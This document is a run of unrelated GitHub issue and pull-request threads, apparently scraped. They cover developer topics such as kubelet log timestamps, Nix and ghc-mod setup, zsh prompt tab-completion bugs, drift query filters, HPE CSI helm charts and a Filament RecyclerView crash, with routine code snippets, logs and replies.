git=2.17.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
0m 27s
Docker mode activated.


Explictly disable (unused so far) lzma in the zstd, ffmpeg, libtiff

Disable the lzma explicilty. We did not use the lzma (as it is absent in build container), so it should be no-op from the resulting binaries perspecitve.
Show the log of the zstd lib build.

13990925


Fix kubelet log timestamps

Kubelet logs are retrieved from Journald because it is the only process that runs on the host (unlike the api, controller, manager processes that run as containers). This causes the kubelet's logging package (glog) to use the timestamp the host is set. In our test environments, this is EST. Containers are set to UTC, so the glog messages given by the other core services use the correct timestamps. Additionally, the agent is running within a container so it can assume that timestamps retrieved from /var/log/containers are using the same timezone as itself.
Log entry from a system set to EST time (this log shows up in the destination 5 hours in the past)
# journalctl -f | grep kubelet

Feb 02 14:14:03 kube-116-c2-w-1 kubelet[1152]: E0202 14:14:03.962817    1152 pod_workers.go:191] Error syncing pod 330969b8-02fc-4e10-bd26-b49d1862d601 ("recommendationservice-69c56b74d4-2psmb_default(330969b8-02fc-4e10-bd26-b49d1862d601)"), skipping: failed to "StartContainer" for "server" with CrashLoopBackOff: "back-off 5m0s restarting failed container=server pod=recommendationservice-69c56b74d4-2psmb_default(330969b8-02fc-4e10-bd26-b49d1862d601)"

Journalctl output has two timestamps

journalctl time: Feb 02 14:14:03
glog message time: 14:14:03.962817

The log agent is running in a container, with UTC time. Because the timestamp in the glog message does not include a timezone, the agent assumes UTC (which is five hours in the past).
E0202 14:14:03.962817    1152 pod_workers.go:191] Error sync . . . .

The Journald operator solves this by requesting UTC timestamps
// Export logs in UTC time
args = append(args, "--utc")

Because the journald timestamp is within miliseconds of the glog timestamp, I think we should just use what journald gives us and ignore the time stamp parsed from the actual message field (glog message). This required two changes

add a message parser specifically for kubelet, rename timestamp field to drop_time to not overwrite the timestamp field already set by journald input
drop the drop_time field with a restructure operation

The alternative approach woudl be to give the user the option of setting a kubelet_timezone parameter. I think this adds unnecessary complication when we already have a reliable time source (asking journald to provide UTC).
I have a test environment setup that can quickly replicate this, if anyone wants to hop on a call.

Since we are adding message_regex_parser_kubelet. Perhaps we should move message_regex_parser up to around line 170 after glogs_parser_router.

done


Improved tracking of which space views were generated by a heuristic

What

Fixes #5404

We now track haches of all "recommended" space views that we spawned so far. Seems to work much more reliably so far than anything else we had so far.
Natrually, I kept the "is this is a redundant space view" logic since it's still useful to have around both to figure duplicates within a set of recommendation and to figure out if user created space views cover what the heuristic suggests.
Checklist

[x] I have read and agree to Contributor Guide and the Code of Conduct
[x] I've included a screenshot or gif (if applicable)
[ ] I have tested the web demo (if applicable):

Using newly built examples: app.rerun.io
Using examples from latest main build: app.rerun.io
Using full set of examples from nightly build: app.rerun.io

[x] The PR title and labels are set such as to maximize their usefulness for the next release's CHANGELOG
[x] If applicable, add a new check to the release checklist!

PR Build Summary
Docs preview
Examples preview
Recent benchmark results
Wasm size tracking

drafting it: testing it again there seems to be something wrong

huh, that was a bit tough to get my head around what was going on, but figured it out!


FR: New Template GCS (Avro) to JDBC

Template should

Allow for custom database connectivity on same VPC network with private ip.
Configurable jdbc driver jars and class name.
Create target table if it does not exists.
Load avro data into the user specified target table via JDBC.

Duplicate


[doc] Download snapshot jars

Purpose
Recommend downloading snapshot jars instead of building from source.

All download source url (https://flink.apache.org/downloads.html) is linking to FLINK.

LGTM!


Fix interactivity when only 'cartodb_id' is selected

Related to: https://github.com/CartoDB/carto.js/issues/2089
Description
This PR changes how we check if a layer is interactive or not.
The problem is that we were checking this.getInteractiveColumnNames().length > 1 because we always add cartodb_id by default, so when adding it manually the check was false.

I've tested this PR in local and Builder and seems like it works like a charm.
I've tested that you can edit, select, and the popups are shown successfully. ✨


"~~/ V1 / chain / get_code" does not work on JungleNet.

BODY PARAMS => "code_as_wasm" is added.
https://developers.eos.io/eosio-nodeos/reference#get_code
=> It seems to work well in mainnet.

added code_as_wasm on v2.4.2


[vpj] Use native Spark readers for reading from Avro and VSON files

Use native Spark readers for reading from Avro and VSON files

Currently, we implement a custom input data source to read Avro and VSON files from HDFS. This input data source isn't optimized for large files (i.e. files larger than HDFS block size) and is not aware of blocks and location of those on HDFS. This PR modifies the input logic to use Spark's native Avro and SequenceFile input formats that should be much more optimal for files larger than the block size on HDFS.
Additionally, internally at LinkedIn, we have another input format that reads from a Spark table. This commit adds a lot of the base code that can be used to add arbitrary Spark dataframes as supported input formats. The remaining gap is the schema validation done before the DataWriterComputeJob.
How was this PR tested?

Unit tests WIP. GHCI regression tests pass
Does this PR introduce any user-facing changes?

[X] No. You can skip the rest of this section.
[ ] Yes. Make sure to explain your proposed changes and call out the behavior change.

but we probably gotta do more in pre-production env
Yeah, it'll have to be somewhat of a slow ramp


Targeting S+ (version 31 and above) requires that one of FLAG_IMMUTABLE or FLAG_MUTABLE be specified when creating a PendingIntent

After updating android target Sdk to 31.  Before that it was working fine.
build.gradle
buildscript {
    ext {
        buildToolsVersion = "30.0.3"
        minSdkVersion = 28
        compileSdkVersion = 31
        targetSdkVersion = 31
        supportLibVersion = "30.0.0"
    }
    repositories {
        google()
        jcenter()
    }
    dependencies {
        classpath("com.android.tools.build:gradle:3.4.0")
    }
}

As soon as a USB device is connected following error gets thrown :
Targeting S+ (version 31 and above) requires that one of FLAG_IMMUTABLE or FLAG_MUTABLE be specified when creating a PendingIntent. Strongly consider using FLAG_IMMUTABLE, only use FLAG_MUTABLE if some functionality depends on the PendingIntent being mutable, e.g. if it needs to be used with inline replies or bubbles.

I've fixed that problem on my branch:
https://github.com/goostavo/react-native-serialport


haskellngPackages - ghc-mod doesn't seem to pick up libraries

with a ~/.nixpkgs/config.nix like
{
  packageOverrides = pkgs : rec {

  haskellEnv = pkgs.haskellngPackages.ghcWithPackages (p: with p; [
         cabal-install hoogle ghc-mod turtle
  ]);

};

}

haskellEnv installed and file a.hs
module Main (main) where

import Turtle
import qualified Data.Text as T

main = view $ ls $ fromText $ T.pack "/tmp"

ghc compiles fine, but ghc-mod doesn't find the packages:
miguel@miguel-MacBookPro:~/bin$ which ghc
/home/miguel/.nix-profile/bin/ghc
miguel@miguel-MacBookPro:~/bin$ which ghc-mod
/home/miguel/.nix-profile/bin/ghc-mod
miguel@miguel-MacBookPro:~/bin$ ghc --make /tmp/a.hs
[1 of 1] Compiling Main             ( /tmp/a.hs, /tmp/a.o )
Linking /tmp/a ...
miguel@miguel-MacBookPro:~/bin$ ghc-mod check /tmp/a.hs
/tmp/a.hs:4:18:Could not find module ‘Data.Text’Perhaps you meant Data.Set (from containers-<IP_ADDRESS>)Use -v to see a list of the files searched for.
/tmp/a.hs:3:8:Could not find module ‘Turtle’Use -v to see a list of the files searched for.

On the other hand when using nix-shell with a shell.nix with package turtle and text and ghc-mod, ghc-mod works well...
miguel@miguel-MacBookPro:~/bin$ cat ~/bin/shell.nix
with (import <nixpkgs> {}).pkgs;
let pkg = haskellngPackages.callPackage
            ({ mkDerivation, base, turtle, cabal-install, ghc-mod }:
             mkDerivation {
               pname = "bin";
               version = "0.1";
               src = ./.;
               isLibrary = false;
               isExecutable = true;
               buildDepends = [
                 base turtle
               ];
               buildTools = [ cabal-install ghc-mod];
               license = stdenv.lib.licenses.gpl3;
             }) {};
in
  pkg.env
miguel@miguel-MacBookPro:~/bin$ nix-shell

[nix-shell:~/bin]$ ghc-mod check /tmp/a.hs
/tmp/a.hs:6:1:Warning: Top-level binding with no type signature: main :: IO ()

Did you configure $NIX_GHC, $NIX_GHCPKG, etc.?

Did you configure $NIX_GHC, $NIX_GHCPKG, etc.?

I hadn't. I've now set those variables up in my .profile according to a post from the mailing list and ghc-mod is working.
It would be nice to compile this kind of info into a wiki or guide at some point. Haskell environment is working great now with haskellng, great work !
thanks.

@miguel-negrao Do you have a copy of the link to this post on the mailing list? I'd like to try to set up these vars, but I have no idea how to... Ostensibly my ghc-mod install is correct (according to M-x gcc-debug), but it's not functional...

NIX_GHC_VERSION=$(ghc --numeric-version)
export NIX_GHC="$HOME/.nix-profile/bin/ghc"
export NIX_GHCPKG="$HOME/.nix-profile/bin/ghc-pkg"
export NIX_GHC_DOCDIR="$HOME/.nix-profile/share/doc/ghc/html"
export NIX_GHC_LIBDIR="$HOME/.nix-profile/lib/ghc-${NIX_GHC_VERSION}"

Does this do the trick ?


Clean-up of user data after instance removal

There was an investigation done in scope of https://github.com/kyma-project/control-plane/issues/2592
Prepare and implement solution taking into consideration findings and conclusions in above-mentioned issue.
AC:

after defined retention period all operations referring to removed instance are deleted
after defined retention period all runtime states referring to removed instance are deleted
dry-run mode is implemented
periodic job responsible for removal after retention period does not operate neither on operations nor on runtime_states tables

Superseded by: https://github.com/kyma-project/kyma-environment-broker/issues/440


Is there any sample rosbag to test run!

Hello !
Really thank you so much for sharing very useful repository.
By any chance ! is it possible to share some sample test rosbag file to test the code ?
I have tried to run with my custom bag, but getting following error message. Would you please help me to fix this

Appreciate any response.
Regards,
Ajay

[https://res-h3.public.cdn.office.net/assets/mail/file-icon/png/generic_16x16.png]dsp_demp.baghttps://1drv.ms/u/s!At9PoZmhibVOitshZe2DsiZEXHYBIA
Hello!
Here is a small example.
Unfortunately is the tf in it a bit odd. The Odom frame is in this case 'shafter_world' and the base_link frame is 'base_link_shafter'.
I also attached a launch file that should work with this data. Hope this helps.
Regards,
Samuel

From: Ajay @.>
Sent: Sunday, January 21, 2024 11:58 PM
To: LTU-RAI/Dsp @.>
Cc: Subscribed @.***>
Subject: [LTU-RAI/Dsp] Is there any sample rosbag to test run! (Issue #2)
Hello !
Really thank you so much for sharing very useful repository.
By any chance ! is it possible to share some sample test rosbag file to test the code ?
Appreciate any response.
Regards,
Ajay
—
Reply to this email directly, view it on GitHubhttps://github.com/LTU-RAI/Dsp/issues/2, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ADXR4TJIZ6JVMCH7HPNEYHTYPWMP3AVCNFSM6AAAAABCEKBPF6VHI2DSMVQWIX3LMV43ASLTON2WKOZSGA4TEOBSGA2TEMA.
You are receiving this because you are subscribed to this thread.Message ID: @.***>

@grammers , Thank you so much for your response ! Unfortunately link you shared not opening, would you please share it again.

With this launch: https://drive.google.com/file/d/1jwNcQG0UOaWuHm4qjK8OhR1vQyGsHFnH/view?usp=sharing
And this bag: https://drive.google.com/file/d/1WyqQqnZaze4t7kvjTKv0fsFITi9sENJz/view?usp=sharing
Is octomap working.
The tf tree is this. the point cloud is on Velodyne. This tree is larger than needed for this example and a bit of a mess.

Your tree is missing the link from base_link to Velodyne.

@grammers Thank you so much for sharing demo files and i have configured my tf accordingly.
Now am able to get octomap_full publishing correctly.
And in my case, velodyne sensor data already moved to base_link, hence there are no any static_transformation included.
With above tree, i am able to get octomap_full with my data as well.
But with the both of data bag, i am able to see following in my terminal. Does it normal functioning !

Are there any visualization supported ? Is there any way i can visualize goal_pose and planned trajectory !!


Add custom user search filter for LDAP

Thanks for PR and your interest in the default LDAP plugin.
But, are you sure that these changes are adopt to common LDAP use case?
I don't understand  what you wanna do with {login}.


Tab completion problem

I am having a problem using this theme when I try to tab complete
so it's like
 ▲ .oh-my-zsh/custom/themes ls
and after tab completion it becomes
 ▲ .oh-my-zsh/custom/themesls
I tried to modify the theme but failed. Really can't figure out where the problem is

What OS and terminal emulator are you running, so I can try to reproduce the issue?

@frmendes  I am using OSX El Capitan 10.11.5 (15F34). The emulator is the terminal.app (?

@terry182 I can't seem to reproduce it. I have the same OS version and tried on Terminal.app. It works on both Terminal and iTerm2 on my end. Can you try and disable other plugins you have (preferably one at a time) to see if there's some side effect created by the theme?

@frmendes I didn't use any plugin as I just clean install my Macbook. But I notice that I am just using it as a theme, will that be the problem?
I just download the geometry.zsh and put it in ~/.oh-my-zsh/custom/themes and rename it.
FYI, I reproduce the result by pressing l, s, Tab in my end. Maybe this could help

I found the problem happens to be the international setting Unicode East Asian Ambiguous characters are wide of terminal.
I guess this issue can be closed.

@frmendes it seems that tab completion adds a character to the sentence

if you type anything and then tab it changes from for example git to ggit
this is just visual, the commands still get send without the extra

Does this happen by just typing <command> <tab>? What encoding are you using?

it happens automatic when u type <command> <tab> & when you type <half command> <tab> and this half commend has lots of possibilities. but not when you type <half command> <tab> and there  is only one possibility. my encoding must be on the default don't know where to find this.

What terminal emulator and OS are you using?

iTerm and osx El Capitan

You can check your encoding in Preferences > Profiles and then select the active profile (should probably the one with a ⭐). Encoding is in the Terminal tab. Can you check it there, please?

@frmendes my encoding is on unicode (UTF-8)

I am experiencing the same issue as @IanCStewart :-/

I can reproduce this reliably on iTerm 3.0.5 when I open a new shell. Here is a sequence of screen shots where I type 'l' and keep pressing TAB (note that there's no available ll command). Disabling the theme returns to the correct behaviour.

Update, this only happens if I set export GEOMETRY_SYMBOL_PROMPT="♦"

@andreabedini @IanCStewart should be fixed by now. Sorry it took me so long.
It's ok on my end but can you confirm it, please? I'll re-open the issue if it persists.

To be honest, it was something pretty new to me as well.  The relevant change is this line.
When you are using some special characters, like ♦, the terminal has a hard time determining their true width.
Zsh checks the full width of the prompt in order to place each character in the correct column of a line. With some characters, especially unicode, there was a tendency to over-estimate the character width.
If you Google around for zsh tab completion duplicate character you'll find a lot of recomendations saying to wrap the troublesome part in %{...%} to escape some color code sequences. This tells zsh the color codes have zero-width: they should be interpreted but don't occupy on-screen space, which intuitively makes sense.
However, if you try this in geometry, in the line I previously linked, you'll see that it starts ignoring the space after the prompt character, unless you are on a git repo. This ticked me off because it meant the width of the character assumed by zsh was definitely wrong.
Instead, I had to explicitly tell zhs the width of the prompt character, by wrapping it in %1{...%}.
I wouldn't have noticed it only happened with specific prompt characters without your comment, thanks for that one!
As for your comment, feel free to open a PR!
I'm not sure I want to bind geometry, to any particular language, which means I'd eventually put something for rbenv/rvm and nvm as well. I'm on the fence on how fast the version check is as well. geometry is starting to get a bit slow, especially in large repos. Maybe something as discussed in #6 would come in handy for this.
If you do open the PR, I'd like to discuss some options.

@frmendes looks like its working just doing some weird indenting jumping stuff now. ass u can see below first it has more space then the space disappears

That really shouldn't happen after the fix. Can you check if it happens with export GEOMETRY_SYMBOL_PROMPT="♦"? Besides that, can you provide the prompt character you are using?

just FYI I switched to ☁  and ☂ for GEOMETRY_SYMBOL_PROMPT and GEOMETRY_SYMBOL_EXIT_VALUE (thanks for the tip @IanCStewart!) and I can reproduce. The autocompleted command shifts left.

I just pushed a fix for this.
There's a small caveat with it, though. Using unicode characters means I have to calculate the size of the prompt character. In some cases, such as ☁, zsh has some issues figuring out the prompt character columns and a space gets added after the prompt.
However, this only happens with some characters, as far as I could tell, which means I don't have a fix for it. It should be solved on a case-by-case basis, changing the prompt_geometry_render function on geometry.zsh to add/remove any extra space.
If someone finds a fix for that, I'd really appreciate.

@steinybot thanks, I'll look into it tomorrow morning!

I have the same config as @steinybot, I also see this with an asych RPROMPT. When the prompt renders, it messes up alignment of the LPROMPT if there is emoji in there.

I'm having the same issue, removing the docker_machine plugin then it seems to work ok. Also, updating the value of GEOMETRY_SYMBOL_DOCKER_MACHINE to something else works

@goliatone @lox is any of you running High Sierra?

Yup, sure am!

Yes

So with inconsolata for powerline, that symbol seems to be 'double wide' I know almost nothing about unicode and font rendering, but thought I would share in case it would help someone who knows more.

Hi,
not sure if it's the exact same issue, but mine is doing some weird stuff too

High Sierra, iTerm 3.1.5, Roboto Mono as font

Hi,
I'm on termite and get this issue when trying to set my symbols bold with \e[1m . Is there any way around the issue?

@n-a-t-h-i-a-s bold is a bit more difficult. If I do GEOMETRY_SYMBOL_PROMPT="\e[1mA" then zsh detects the byte size as 6. However it should only occupy one symbol on screen (A). I'll try to get around this and see what I can do.

Another update on apple emojis: 🌊 and 🤙 have one single codepoint, which means they share the same issue as the thunder I mentioned previously. I'm not sure how to handle this.

fixed in v2 i think

Here's a blast from the past.
This is currently happening to me by swapping the order of the plugins:
GEOMETRY_PROMPT=(geometry_newline geometry_path geometry_status)
With the above config, if I do ls<tab> it converts to lls. Still haven't quite got to the root of the problem

Seems to be geometry_newline, the \r in particular.
GEOMETRY_PROMPT=(geometry_path geometry_status) works.

hmm i forget the history of why we needed \r - I believe it had to do with weird spacing with non-simple-width prompt

https://github.com/geometry-zsh/geometry/issues/100 related
I wonder if \r\n works

\n\r is even worse lol

So, \n doesn't work but \n\r does (I also tried \r\n and had a laugh as well). Assuming it has to do with string termination, we could go with \n\0 which does seem to work 🤔
Although I'm curious as to why

Fixed by #298


[QUESTION] Multiple where clauses

Sorry to bother, I did not find anywhere showing how to do multiple where clauses in the same query. Currently I have this:
(select(settings)
          ..where((s) => someStatement)
          ..where(
            (s) => anotherStatement),
          ))

Thanks in advance.

Sorry to bother

No problem, thanks for the question!
What do you want to achieve with "multiple where clauses"? If you want to filter for rows matching both someStatement and anotherStatement, calling where multiple times is what you need. If you want to filter rows matching someStatement or anotherStatement, you'd need to write something like ..where(someStatement | anotherStatement)

Thanks @simolus3, going to close this one.

@simolus3 I'm curious to know how the "or" works.
In dart | is  the bitwise or operator, right? Maybe there is a feature of dart I ignore, but how are you able to use this operator between 2 statements and get it to generate a sql OR?
Thanks

@gsouf That's a good question! | is a user-overriddable operator in Dart, meaning that we can add it as an extension that does an OR in sql. If you're interested, the source code of that operator is defined here:
https://github.com/simolus3/moor/blob/8f3a976d6eec3693259e0edf8fe6259cfa066f6e/moor/lib/src/runtime/query_builder/expressions/bools.dart#L15-L17
Obviously I would have preferred to use || but we can't override that operator in Dart (which is probably reasonable).

That's amazing, thanks for this clear answer!

Hello! Sorry if this isn't the right place for this question. Is there a way to do a bitwise expression in a where clause?
such as tbl.syncState.equals(tbl.syncState BITWISE AND syncStateDelete)

@jakeaaron In the wait of a better answer..Have you tried using custom expression like
const inactive = CustomExpression<bool, BoolType>("julianday('now') - julianday(last_login) > 60");
select(users)..where((u) => inactive);

Thanks, @gsouf ! I will try this. I appreciate the advice.

I have also added the bitwiseOr and bitwiseAnd methods to drift in becae40c6e0cca8ecaec0e4fb0355b448816cebc, which can be used to form these expressions in the next drift version.

Great, thank you @simolus3 !


Add link to CONTRIBUTING in README

How about this a first step re. #33 ?
Just because I actually only noticed that (and the link to that long mailing list thread) when raise a PR; didn't notice it before.

Thanks, that's a good idea.


Select whether to install nimble or 3par related deployment

@raunakkumar @rgcostea @suneeth51 can you have a look at my pr. thanks a lot

@raunakkumar @rgcostea @suneeth51 can you have a look at my pr. thanks a lot

Without knowing about this PR, couple of days I ago I created a very similar PR which basically does the same thing.
The fact that the original helm chart cannot be configured not to install one of the CSP backends is a limitation in my opinion. Who is using nimble and 3par-primera storage devices at the same time?
It's been 20 days since this one got created but there is not even a single feedback.
Dear @raunakkumar, @rgcostea, @suneeth51 , could you please review if not advise?

Without knowing about this PR, couple of days I ago I created a very similar PR which basically does the same thing.
The fact that the original helm chart cannot be configured not to install one of the CSP backends is a limitation in my opinion. Who is using nimble and 3par-primera storage devices at the same time?
It's been 20 days since this one got created but there is not even a single feedback.
Dear @raunakkumar, @rgcostea, @suneeth51 , could you please review if not advise?

The changes looks good to me. @raunakkumar Please provide your feedback on this?

This change is a PM call. There was a decision made early on to deploy the CSI Driver with all supported CSPs similar to Trident model. If we are breaking that model, some scenarios to consider:

How would one revert the change if the CSI Driver is already deployed and re-enable additional backends as the CSI Driver expands supported platforms?
How does the helm chart handle upgrades with disabled CSPs? Are there any validations that would break?

I feel this requires more careful consideration before merging this PR.

This change is a PM call. There was a decision made early on to deploy the CSI Driver with all supported CSPs similar to Trident model. If we are breaking that model, some scenarios to consider:

How would one revert the change if the CSI Driver is already deployed and re-enable additional backends as the CSI Driver expands supported platforms?
How does the helm chart handle upgrades with disabled CSPs? Are there any validations that would break?

I feel this requires more careful consideration before merging this PR.

@c-snell , any indication when HPE can discuss this internally and decide the fate of this PR?
I understand there was a decision about deploying all the CSP backend pods with the helm chart but in reality very few will have the luxury to have all different HPE hardware serving volumes to their internal K8s clusters.
We are happy that helm chart is ready and complete but because we do not want to deploy nimble-csp resource we will need to copy-paste and tweak the existing helm chart and copying resources from your GitHub repo to our internal repo is not ideal whereas we can only declare it as a dependency if you make it possible to be able to switch-off different CSP resources.

@Baykonur I wanted to update you on this. This was discussed internally yesterday and we have turned it over to engineering to review and test various installation, upgrade, modification scenarios before a final call will be made. We don't have an ETA at the moment when this testing will be complete. Also once it is approved it would go into the next release of the CSI Driver so best case scenario the ability to choose which CSP is installed through the Helm chart would come in the 1.5 release.


feat: add --select-found flag

Easy way to get all available addons to the current environment (or path selection).
Closes https://github.com/sbidoul/manifestoo/issues/17.

CI is now green

Thanks! I rebased, but it seems you need to approve the run.

LGTM, thanks for the contrib! Can you add a newfragment (news/17.feature)?

Ah, and cherry on the cake would be an update to the documentation page: https://github.com/sbidoul/manifestoo/blob/main/docs/addons_selection.md (I'll regenerate CLI reference  upon release).


Add editorconfig

https://editorconfig.org/

We could also add CI to check that, but I don't think it's that important. I think it's just good practice for all repos to have one of those :)


The coverage robot is broken.

Looking at Commits and Pulls on https://app.codecov.io/github/CQCL/hugr-llvm one sees that for a few days the robot has been unable to recognise base commits.
Coverage jobs are succeeding, see for example https://github.com/CQCL/hugr-llvm/actions/runs/9612976251/job/26514775808?pr=38

I don't know why this should cause it, but from #31 :


Create a custom scrollbar, and add a scrollbar on the InputBar

Currently the InputBar is scrollable, but does not display a scrollbar which is bad in terms of accessibility.

Hey :wave:
To help board readability & usefulness,  cards with ~2 weeks+ inactivity can freely be moved out of board :) When you feel it's time to start working on it, feel free to move it back in for discussion in Eng runner or Olympus :+1:


Use package-lock.json instead of npm-shrinkwrap

The package-lock.json format handles the optional fsevents dependency
better than npm-shrinkwrap.json. The dependency will appear in the
package-lock file, it won't cause a failure on Linux, and it won't be
constantly added and removed depending on which system last ran npm install.

Codecov Report

Merging #241 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #241   +/-   ##
=======================================
  Coverage   30.28%   30.28%
=======================================
  Files          71       71
  Lines        2361     2361
  Branches      323      323
=======================================
  Hits          715      715
  Misses       1382     1382
  Partials      264      264

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 45fab0c...50ceecf. Read the comment docs.


Download of Intel redistrutable libraries 2018 not available anymore

The solution for the knonw issue "FileNotFoundError: Could not find module "\path\to\MetaSWAP.dll" (or one of its dependencies). Try using the full path with constructor syntax." does not work anymore because the intel libraries of 2018 are not available anymore. However, the 2020 version also works. This is tested on two different server environments. Can the documentation be updated?

Sounds good


Queued retry persistent queue

Description:
Draft of reworking persistent queue/WAL implementation

@pmm-sumo  I believe it can be closed


General questions

Is it possible to set / remove multiple cookies in one line? When I tried something like this it didn't work:

cookie.save('memberID', resp.member.id, 'memberName', resp.member.fullname)

How can I set secure: true and httpOnly: true? When I tried something like this it didn't appear to work:

cookie.save('memberName', resp.member.fullname, {secure: true, httpOnly: true})

You can't set multiple cookie at once. You have to set them one by one.
httpOnly cookies cannot be set with Javascript. By definition, only the server can touch them. This should do the trick:

cookie.save('memberName', name, { path: '/', secure: true });
// ...


OAS-6641 | remove email_verified field from saml + scim requirement

https://github.com/arangodb/docs-hugo/pull/367


Fix broken ITs caused by #1892

On my last PR, #1892, which converted to pre-split tables, it was pointed out in a comment that the changes broke some ITs. This change fixes those broken ITs.

Thanks, @DomGarguilo !


ModelViewer + SurfaceView within a RecyclerView crash

Describe the bug
When attaching a SurfaceView to a ModelViewer within a RecyclerView, the view lifecycle isn't properly handled. A SurfaceView is detached from the window but not destroyed. When the SurfaceHolder.Callback attached within the UiHelper callbacks are invoked, the engine has been already been destroyed resulting in the provided stack trace.
To Reproduce
Steps to reproduce the behavior:

Put multiple SurfaceView backed by ModelViewer into a RecyclerView
Scroll up or down until a view is detached from the window, but not destroyed, then scroll back to that view

Expected behavior
Any cleanup/configuration (specifically with the engine) should be properly cleaned up/recreated when the view detaches/reattaches itself without relying on complete destruction/reconstruction of the view itself.
Logs
java.lang.IllegalStateException: Calling method on destroyed Engine
        at com.google.android.filament.Engine.getNativeObject(Engine.java:649)
        at com.google.android.filament.Engine.createSwapChain(Engine.java:293)
        at com.google.android.filament.Engine.createSwapChain(Engine.java:271)
        at com.google.android.filament.utils.ModelViewer$SurfaceCallback.onNativeWindowChanged(ModelViewer.kt:362)
        at com.google.android.filament.android.UiHelper.createSwapChain(UiHelper.java:570)
        at com.google.android.filament.android.UiHelper.access$100(UiHelper.java:120)
        at com.google.android.filament.android.UiHelper$1.surfaceCreated(UiHelper.java:405)
        at android.view.SurfaceView.updateSurface(SurfaceView.java:1173)
        at android.view.SurfaceView.lambda$new$0$SurfaceView(SurfaceView.java:173)
        at android.view.-$$Lambda$SurfaceView$w68OV7dB_zKVNsA-r0IrAUtyWas.onPreDraw(Unknown Source:2)
        at android.view.ViewTreeObserver.dispatchOnPreDraw(ViewTreeObserver.java:1093)
        at android.view.ViewRootImpl.performTraversals(ViewRootImpl.java:3096)
        at android.view.ViewRootImpl.doTraversal(ViewRootImpl.java:1959)

Smartphone (please complete the following information):

Device: Sony Xperia 5ii
OS: Android 11

Additional context
Right now it seems the only solution around this (while still using ModelViewer) is to force the RecyclerView to not recycle those views.
This is possible via
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
        holder.setIsRecyclable(false)
}

tl;dr I recommend we completely change how ModelViewer work to be either:

Not self-contained (like in the sample app I linked to)
Safe but incredibly expensive in a RecyclerView (and properly document that it should probably not be used that way)

Alternatively we could try to add caches but this solution has its own issues.

Hey @romainguy. Sorry repost here to prevent you from not seeing my message in that close PR :)

Could I understand that you suggest creating our own ModelViewer to share the Engine and various other resources between multiple Views? with names such as 'singleEngineModelViewer' or something like that.
Is it okay for me to create the new 'xxModelViewer' class under google/android/utils/ folder, making it shareable?

That or change ModelViewer so it takes an Engine as a parameter instead of creating its own.
Why makes a new one instead of modifying the existing one?

Hey @romainguy my idea right now is to make 2 changes to ModelViewer to allow for more precise resource management:
) Only allow the ModelViewer to create and manage the resources directly related to the scope of the view's rendering. It would be the View, Camera, and Renderer that would be managed by the ModelViewer (in relation to the engine).

Move model loading logic into a class called ModelLoader which handles the loading and management of the subsequent Asset. The idea here is to allow for the AssetLoader & ResourceLoader to be managed at a similar scope as the Engine & to eventually allow for caching of the assets/scenes by the caller

When planning these changes is it okay to modify the public api or should we make sure it remains backwards compatible?

For the first baby step in fixing these issues, I think we should change the ModelViewer constructor so that clients MUST pass their own engine (currently it is optional), and it should definitely not call destroy in the detach handler.
For the next step after that, I think we should somehow add support for "list" scenarios while retaining the simplicity of ModelViewer.  This might mean a new lower-level class that users don't need to create if they don't need.
We should also look into leveraging the Jetpack Lifecycle library.  More info at:
https://developer.android.com/topic/libraries/architecture/lifecycle

@pixelflinger this bug has some notes that describe baby steps towards JetPack, it might be worth keeping.


Fix docstyle and add pydocstyle to CI

This closes #142

This PR is simply too big to review. I've decided to close it and split it up into smaller PRs that will target smaller issues.


Update flutter rust bridge

closes https://github.com/GregoryConrad/mimir/issues/331

This is a huge help! TYSM!
It'll take awhile to review all of this (especially since I didn't look in-depth at the FRB v2 changes), so please bear with me while I take a look!

Yeah that works!

I need to go to bed so I'll leave some notes here on where I left off:
// flutter_interface.dart
  /// Creates a [MimirInstance] from the given path for Flutter
  Future<MimirInstance> getInstanceForPath(String path) =>
      getInstance(path: path); // TODO do we need ioDirectory?

# combine-prs

          cargo build -r
          # TODO update generated files
          # TODO run code formatter
          git config --global user.name 'MimirActionsBot'
          git config --global user.email<EMAIL_ADDRESS>          git commit -am "chore: update generated files"
          git push

Try macos-latest in regular build CI file

Switching to a dynamic linking would be a one-line fix on macOS if it weren't for CocoaPods. Thanks CocoaPods! Now I get to rediscover how to get iOS/macOS builds working again.
Looked into Swift Package Manager integration into Flutter but that appears as though it'll take some time before it reaches stable. So will need to find a new solution in the meantime.

Yup, sounds like flutter development :sweat_smile:
Btw, for this failure, I manually changed it to just String to get it to work. There was one more spot too where I had to add an int cast. Likely bugs in the current flutter rust bridge version.

Btw, for this failure, I manually changed it to just String to get it to work. There was one more spot too where I had to add an int cast. Likely bugs in the current flutter rust bridge version.

Hm. I fixed the toString failure by excluding it from codegen (since it was never supposed to be included in codegen anyways). Some bug in FRB made it get included even though it wasn't pub.
Also haven't seen the int casting issue pop-up--maybe something else I did fixed that.

I think I'm going to do a temp fix here for iOS/macOS that reverts to using the discouraged ExternalLibrary.process method until Swift Package Manager support in Flutter rolls. That way I avoid having to rewrite and re-experiment with all of the iOS/macOS build stuff (which is extremely time consuming). I have the basics of dynamic libraries working with CocoaPods but it'll require quite a few hacks to get right, and since we are already using hacks with ExternalLibrary.process, might as well use the hack that enables the most code re-use.
That being said, notes to future self once SPM support comes:

update build-apple.sh to use .dylib instead of .a
update interface.dart in mimir to remove ExternalLibrary.process workaround


[Hashing] Use std::apply now that LLVM uses C++17

We can use std::apply to unpack the tuple arg and pass its elements as arguments to the lambda function.

@swift-ci Please test

@al45tair Let's try that again

@swift-ci Please test

@swift-ci Please test

@swift-ci Please test

@al45tair I believe this is ready now!

@swift-ci Please test


Error while requesting an access token: {"error":"consent_required"}

I'm in the process of going live and I can't shake this error no matter what I try.
I've gone through the JWT procedures and I believe I've done them all.  https://www.docusign.com/blog/dsdev-using-the-oauth-jwt-flow/
I keep seeing things mentioning going into the Organization security policies but my account doesn't have that.
We had this code working perfect in Dev so I don't think the issue is my code.
I put in two tickets over the last two days and your support just deletes them with 0 comments as to why and its pretty infuriating.
I've had great success asking this forum for help in the past so here I am again.
Is there some simple check box or a thing I need to turn on to get past this?
I've been spinning my wheels getting nowhere with this.
Let me know if you want to see any code
Thanks for the help guys!

Hi,
I'm sorry you're having this problem.
